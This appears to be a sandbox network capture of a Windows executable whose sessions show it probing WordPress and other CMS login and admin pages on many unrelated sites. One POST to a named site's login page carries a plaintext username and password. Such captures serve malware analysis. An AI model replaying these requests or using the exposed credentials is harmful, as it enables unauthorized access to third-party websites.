22 20 69 64 3d 22 63 6f 6f 6b 69 65 2d 6c 61 77 2d 69 6e 66 6f Data Ascii: 3FB2e/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.2' media='all' /><link rel="stylesheet" href="https://www.maxiv.lu.se/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.1.6" id="cookie-law-info
2023-11-26 05:59:46 UTC	1225	IN	Data Raw: 34 43 32 0d 0a 2e 35 36 7a 4d 34 35 30 2e 34 34 20 32 38 31 2e 38 31 63 31 34 2e 32 34 2d 33 38 2e 36 39 20 33 32 2e 37 37 2d 36 31 2e 37 39 20 34 39 2e 35 36 2d 36 31 2e 37 39 73 33 35 2e 33 32 20 32 33 2e 31 20 34 39 2e 35 36 20 36 31 2e 37 39 63 33 2e 37 32 20 31 30 2e 31 31 20 37 2e 30 36 20 32 31 20 31 30 20 33 32 2e 35 32 2d 31 39 2e 33 34 20 34 2e 39 38 2d 33 39 2e 33 34 20 31 31 2e 33 35 2d 35 39 2e 35 37 20 31 39 2e 30 31 2d 32 30 2e 32 33 2d 37 2e 36 35 2d 34 30 2e 32 32 2d 31 34 2e 30 33 2d 35 39 2e 35 37 2d 31 39 20 32 2e 39 36 2d 31 31 2e 35 33 20 36 2e 33 2d 32 32 2e 34 32 20 31 30 2e 30 32 2d 33 32 2e 35 33 7a 4d 35 37 35 20 34 34 39 2e 35 63 30 20 31 36 2e 37 33 2d 2e 36 33 20 33 33 2e 31 38 2d 31 2e 38 35 20 34 39 2e 31 36 61 36 33 33 2e Data Ascii: 4C2.56zM450.44 281.81c14.24-38.69 32.77-61.79 49.56-61.79s35.32 23.1 49.56 61.79c3.72 10.11 7.06 21 10 32.52-19.34 4.98-39.34 11.35-59.57 19.01-20.23-7.65-40.22-14.03-59.57-19 2.96-11.53 6.3-22.42 10.02-32.53zM575 449.5c0 16.73-.63 33.18-1.85 49.16a633.
2023-11-26 05:59:46 UTC	10792	IN	Data Raw: 32 41 32 30 0d 0a 32 34 2e 35 20 37 2e 30 34 2d 31 2e 32 37 2e 35 38 2d 32 2e 35 34 20 31 2e 31 36 2d 33 2e 38 31 20 31 2e 37 35 61 36 39 34 2e 38 36 20 36 39 34 2e 38 36 20 30 20 30 20 30 2d 32 34 2e 30 31 20 31 31 2e 37 39 7a 6d 31 31 34 2e 35 33 2d 31 31 2e 37 38 63 2d 31 2e 32 37 2d 2e 35 39 2d 32 2e 35 34 2d 31 2e 31 37 2d 33 2e 38 31 2d 31 2e 37 35 20 38 2e 32 37 2d 32 2e 36 20 31 36 2e 34 35 2d 34 2e 39 35 20 32 34 2e 35 2d 37 2e 30 34 20 31 2e 32 33 20 36 2e 37 31 20 32 2e 33 34 20 31 33 2e 35 38 20 33 2e 33 32 20 32 30 2e 35 39 2d 37 2e 38 36 2d 34 2e 30 37 2d 31 35 2e 38 36 2d 38 2d 32 34 2e 30 31 2d 31 31 2e 38 7a 6d 2d 32 31 38 2e 37 33 20 37 32 2e 35 32 63 2d 32 38 2e 39 36 2d 32 39 2e 36 31 2d 34 31 2e 38 35 2d 35 36 2e 36 39 2d 33 34 2e 35 Data Ascii: 2A2024.5 7.04-1.27.58-2.54 1.16-3.81 1.75a694.86 694.86 0 0 0-24.01 11.79zm114.53-11.78c-1.27-.59-2.54-1.17-3.81-1.75 8.27-2.6 16.45-4.95 24.5-7.04 1.23 6.71 2.34 13.58 3.32 20.59-7.86-4.07-15.86-8-24.01-11.8zm-218.73 72.52c-28.96-29.61-41.85-56.69-34.5
2023-11-26 05:59:46 UTC	16314	IN	Data Raw: 33 46 42 32 0d 0a 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 32 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 63 61 6c 6c 2d 66 6f 72 2d 70 72 6f 70 6f 73 61 6c 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 20 66 6f 72 20 70 72 6f 70 6f 73 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 Data Ascii: 3FB2item-object-page item-depth-2'><a href="https://www.maxiv.lu.se/user-access/call-for-proposals/" class="menu-item-label">Call for proposals</a></li><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth
2023-11-26 05:59:46 UTC	28	IN	Data Raw: 34 30 0d 0a 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 Data Ascii: 40ial-icon submenu-toggler
2023-11-26 05:59:46 UTC	42	IN	Data Raw: 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 0d 0a Data Ascii: d-none minus-icon" aria-hidden="true"><
2023-11-26 05:59:46 UTC	16272	IN	Data Raw: 33 46 38 38 0d 0a 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 62 61 6c 64 65 72 2f 73 63 69 65 6e 63 65 2d 61 74 2d 62 61 Data Ascii: 3F88span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children item-depth-5'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/balder/science-at-ba
2023-11-26 05:59:46 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 74 6f 6d 61 78 2f 75 73 65 72 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 70 6c 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 61 64 64 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 Data Ascii: 3FB8tomax/user-information/" class="menu-item-label">User information</a><span class="material-icon submenu-toggler plus-icon" aria-hidden="true"><span class="material-icons-sharp">add</span></span><span class="material-icon submenu-toggler d-none minus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.4	52222	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	356	OUT	POST /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP%20Cookie%20check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://gruporegiosafety.com/wp-login.php Content-Length: 141 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:45 UTC	141	OUT	Data Raw: 6c 6f 67 3d 63 6f 6d 70 72 61 73 26 70 77 64 3d 43 6f 6d 70 72 61 73 47 52 53 32 30 32 33 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 41 63 63 65 64 65 72 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=compras&pwd=ComprasGRS2023&rememberme=forever&wp-submit=Acceder&redirect_to=https%3A%2F%2Fgruporegiosafety.com%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:46 UTC	500	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:45 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 05:59:46 UTC	7692	IN	Data Raw: 32 38 63 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 28cd<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 05:59:46 UTC	2759	IN	Data Raw: 65 74 4c 6f 63 61 6c 65 44 61 74 61 28 20 6c 6f 63 61 6c 65 44 61 74 61 2c 20 64 6f 6d 61 69 6e 20 29 3b 0a 7d 20 29 28 20 22 64 65 66 61 75 6c 74 22 2c 20 7b 22 74 72 61 6e 73 6c 61 74 69 6f 6e 2d 72 65 76 69 73 69 6f 6e 2d 64 61 74 65 22 3a 22 32 30 32 33 2d 31 31 2d 31 30 20 31 37 3a 31 38 3a 34 37 2b 30 30 30 30 22 2c 22 67 65 6e 65 72 61 74 6f 72 22 3a 22 47 6c 6f 74 50 72 65 73 73 5c 2f 34 2e 30 2e 30 2d 61 6c 70 68 61 2e 31 31 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 6c 6f 63 61 6c 65 5f 64 61 74 61 22 3a 7b 22 6d 65 73 73 61 67 65 73 22 3a 7b 22 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 73 73 61 67 65 73 22 2c 22 70 6c 75 72 61 6c 2d 66 6f 72 6d 73 22 3a 22 6e 70 6c 75 72 61 6c 73 3d 32 3b 20 70 6c 75 72 61 6c 3d 6e Data Ascii: etLocaleData( localeData, domain );} )( "default", {"translation-revision-date":"2023-11-10 17:18:47+0000","generator":"GlotPress\/4.0.0-alpha.11","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n
2023-11-26 05:59:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.4	52241	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	258	OUT	GET /admin HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=LvH4Xrnl0rVYyhoO4XsyXtrl76eVXmaMNVuqhXVgIEc-1700978385041-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	550	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 72 61 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://tra
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.4	52165	92.62.143.50	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	214	OUT	GET /wp-admin/ HTTP/1.1 Host: www.bunasta.eu Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://bunasta.eu/wp-login.php
2023-11-26 05:59:45 UTC	451	IN	Data Raw: 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 4d 53 53 45 53 53 49 44 38 30 66 39 66 64 33 66 3d 6d 76 63 64 38 6e 6a 72 61 71 76 70 64 65 6b 32 64 34 75 63 31 69 74 30 64 35 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 Data Ascii: HTTP/1.0 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTServer: Apache/2.4.38 (Debian)Set-Cookie: CMSSESSID80f9fd3f=mvcd8njraqvpdek2d4uc1it0d5; path=/; HttpOnlyExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-store, no-cache, must-revali
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6c 74 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 75 73 6c 61 70 69 73 20 6e 65 72 61 73 74 61 73 20 2d 20 42 75 6e 61 73 74 61 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6e 61 Data Ascii: <!DOCTYPE html><html lang="lt"><head> <meta charset="UTF-8"/> <title>Puslapis nerastas - Bunasta</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="https://www.buna
2023-11-26 05:59:46 UTC	16384	IN	Data Raw: 2d 38 30 70 78 3b 20 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 50 75 73 6c 61 70 69 73 20 6e 65 72 61 73 74 61 73 20 20 20 20 20 20 20 20 3c 2f 68 31 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 0a 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 63 62 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: -80px; "> <div class="container"> <h1> Puslapis nerastas </h1> </div></section> <section> <div class="container"> <div class="fcbn-column">
2023-11-26 05:59:46 UTC	4041	IN	Data Raw: 69 6e 66 6f 72 6d 61 63 69 6a c4 85 2e c2 a0 3c 2f 70 3e 0a 3c 70 3e 54 61 69 67 69 2c 20 6b 61 64 20 c5 a1 69 6f 73 20 75 c5 be 6b 6c 61 75 73 6f 73 20 66 6f 72 6d 61 20 75 c5 be 74 69 6b 72 69 6e 74 61 69 20 76 65 69 6b 74 c5 b3 2c 20 6a c5 ab 73 20 74 75 72 69 74 65 20 70 61 c5 be 79 6d c4 97 74 69 20 e2 80 9e 53 75 74 69 6e 6b 75 20 73 75 20 6e 61 c5 a1 75 6d 6f 20 73 6c 61 70 75 6b 61 69 73 e2 80 9c 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 53 6c 61 70 75 6b c5 b3 20 6e 61 75 64 6f 6a 69 6d 6f 20 70 61 72 69 6e 6b 74 79 73 3c 2f 68 32 3e 0a 3c 70 3e 4a c5 ab 73 20 67 61 6c Data Ascii: informacij.</p><p>Taigi, kad ios uklausos forma utikrintai veikt, js turite paymti Sutinku su naumo slapukais.</p> </div> <h2>Slapuk naudojimo parinktys</h2><p>Js gal

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.4	52072	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	213	OUT	GET /wp-admin/ HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.knu.ac.in/wp-login.php
2023-11-26 05:59:46 UTC	215	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 77 70 2d 61 64 6d 69 6e 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 39 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:45 GMTServer: ApacheLocation: https://www.knu.ac.in/wp-admin/Content-Length: 299Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:46 UTC	299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 77 70 2d 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/wp-admin/">here</a>.</p><hr><address>Apache Server at

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.4	52362	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	174	OUT	GET /admin/pages/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	511	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 71 6e 36 65 68 36 6f 75 6d 64 6b 35 71 6d 6a 30 6d 35 65 66 68 65 37 72 75 72 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 53 65 63 75 72 69 74 79 2f 6c 6f 67 69 6e 3f 42 61 63 6b 55 52 4c 3d 25 32 46 61 64 6d 69 6e 25 32 46 70 61 67 65 73 25 32 46 0d 0a 78 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3a 20 53 69 6c 76 65 72 53 74 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:45 GMTServer: Apache/2.4.52 (Ubuntu)Set-Cookie: PHPSESSID=qn6eh6oumdk5qmj0m5efhe7rur; path=/; HttpOnlylocation: https://ce-logic.com/Security/login?BackURL=%2Fadmin%2Fpages%2Fx-controller: SilverStr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.4	52329	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:45 UTC	184	OUT	GET /wp-login.php HTTP/1.1 Host: coralparkchristian.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
